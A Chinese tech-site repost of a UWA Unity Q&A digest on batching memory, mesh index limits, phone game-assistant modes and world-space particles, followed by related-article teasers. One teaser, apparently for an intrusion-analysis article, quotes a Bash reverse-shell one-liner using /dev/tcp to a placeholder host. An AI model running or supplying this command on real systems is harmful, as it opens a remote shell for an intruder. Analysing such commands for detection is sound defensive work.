动态合批与静态合批的网格内存占用

news/2024/9/19 23:56:26

1)动态合批与静态合批的网格内存占用
2)如何让游戏能自动调起手机内置的“游戏空间”或“游戏助手”
3)如何控制mesh.triangles值
4)怎么让旧的粒子原地不动


这是第391篇UWA技术知识分享的推送,精选了UWA社区的热门话题,涵盖了UWA问答、社区帖子等技术知识点,助力大家更全面地掌握和学习。

UWA社区主页:community.uwa4d.com
UWA QQ群:793972859

Memory

Q:关于动态合批与静态合批,有以下2个疑问:

1. 静态合批后生成一个大网格,那么原始网格还在内存中吗?是不是编译阶段就已经完成合批,只有一个大网格会常驻内存,原始小网格已经没有了。

2. 动态合批每帧生成可能不同的大网格,生成的网格发送给显存后,是不是就自动释放掉了,内存中只有原始的网格数据呢?

A:前者内存中仅有合了以后的Combined Mesh内存;后者则内存中只有原始的网格内存。

感谢Faust@UWA问答社区提供了回答


Platform

Q:如何让游戏能自动调起手机内置的“游戏空间”或“游戏助手”,比如华为的系统(针对没上对应手机应用商店的游戏,比如测试期间或官网下载的包,上了对应手机的应用市场的包是能自动调用的)。这样系统可以倾斜更多的性能跑游戏,玩家体验也会好些。

针对以上问题,有经验的朋友欢迎转至社区交流分享:
https://answer.uwa4d.com/question/666e740b3d306f3e9d594c74


Rendering

Q:请教个问题,mesh.triangles超过了65535,怎么处理呢?

 

A:Mesh可以设置Format,IndexFormat设置成32位,不过还是建议拆。

感谢猫头鹰@UWA问答社区提供了回答


Rendering

Q:我这个粒子系统是Local的,当我移动或者旋转父物体时候,旧的粒子会时刻跟着父物体移动,怎么能让旧的粒子原地不动呢?

 

 

我有个工件需要焊接一下,我现在用的粒子特效表现的焊接效果如下:

 

 

但是焊接完这一块后我这个工件要旋转180度,现在这个焊接的粒子特效不能跟着一块旋转。

我用World模式就可以完成这一段,但是不能旋转,当我改用Local,新的粒子和旧的粒子都会跟着发射口走,但不能留下焊接的痕迹。

如何在工件旋转后,被焊接的痕迹也跟着一起移动呢?

A1:挂一个脚本在OnEnable里,记录下自己的Position,再在LateUpate里设置自己的Position为初始化那个位置,这样就保留世界坐标了。

感谢偶尔不帅@UWA问答社区提供了回答

A2:如图,把工件的transform放这里。

 

感谢jump晃悠@UWA问答社区提供了回答

封面图来源于网络


今天的分享就到这里。生有涯而知无涯,在漫漫的开发周期中,我们遇到的问题只是冰山一角,UWA社区愿伴你同行,一起探索分享。欢迎更多的开发者加入UWA社区。

UWA官网:www.uwa4d.com
UWA社区:community.uwa4d.com
UWA学堂:edu.uwa4d.com
官方技术QQ群:793972859

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/47590.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

【攻防技术系列+入侵分析】-- 手工分析Liunx反弹Shell特征①

#网络安全 #入侵分析 bash -i >& /dev/tcp/IP_ADDRESS/PORT 0>&1 上面的命令是我们常见的Linux反弹Shell的命令之一。它可以在几乎所有的Linux系统中运行,并且不需要额外配置其它环境。 命令分析 下面我们来分析一下这条命令: bash:启动Bash shell; -i:以交互模…

虚拟机出现“XXX不在sudoers文件中,此事将被报告”的问题

执行成功后编辑 /etc/sudoers文件vim /ect/sudoers bash: vim:未找到命令 改成nano   nano /etc/sudoers 在 在文件中,你可以找到以下行:root ALL=(ALL:ALL) ALL 在其下方添加你需要的用户权限:mp20 ALL=(ALL:ALL) ALL 保存并退出编辑器。如果使用 nano,按 Ctrl + O 保存…

两个表取差集再插入到另一张表中

@目录概要思路梳理实现步骤小结 概要 工作中采集时候遇到一个问题,就是两张结构一样的表数据不同,哪里不同呢,如t1表是基础表,里面数据量大,但是它不全,t2表有少数t1的数据也有一些自己额外的数据,我的需求是把t2里面t1没有的数据插入到t1中 思路梳理 这种也简单就是在t…

拉取 gitee 代码,配置SSH,Please make sure you have the correct access rights

拉取 gitee 代码,Please make sure you have the correct access rights git clone git@gitee.com:paddlepaddle/PaddleNLP.git生成 RAS 秘钥 ssh-keygen -t rsa -C "Gitee SSH Key" -t key 类型 -C 注释将C:\Program Files\Git\usr\bin 加入环境变更直接回车设置S…

java调用grpc

1.创建proto文件 // 使用该proto文件可以定义交互的服务接口,基于该文件编译成的源文件可以分别复制到 client端和server端,便于两者使用syntax = "proto3"; // 定义语法类型,通常proto3好于proto2,proto2好于proto1,如果不指定,默认使用proto2,必须位于第一行…

MoneyPrinterPlus:AI自动短视频生成工具-腾讯云配置详解

详细介绍如何使用在MoneyPrinterPlus中配置使用腾讯云语音服务,实现AI自动短视频生成。MoneyPrinterPlus可以使用大模型自动生成短视频,其中的语音合成和语音识别部分需要借助于一些第三发云厂商的语音服务。 很多小伙伴可能不知道应该如何配置,这里给大家提供一个详细的腾讯…

Photoshop增加对.ico,.webp,.avif格式的支持,如何让ps可以打开和保存avif,webp,ico格式

压缩尺寸对比: 安装方法: 将解压缩得到的.8bi文件复制到Photoshop安装文件下的一下路径即可: Adobe Photoshop 2023\Required\Plug-ins\File Formats 附件中的8bi插件,支持x64的都有,x32的只有部分有,注意区分。Photoshop插件下载: 链接:https://pan.baidu.com/s/1vsZ…

如何在Spring Boot框架下实现高效的Excel服务端导入导出?

前言 Spring Boot是由Pivotal团队提供的全新框架,其设计目的是用来简化新Spring应用的初始搭建以及开发过程。该框架使用了特定的方式来进行配置,从而使开发人员不再需要定义样板化的配置。今天我们就使用纯前对按表格控件带大家了解,如何在Spring Boot框架下实现Excel服务端…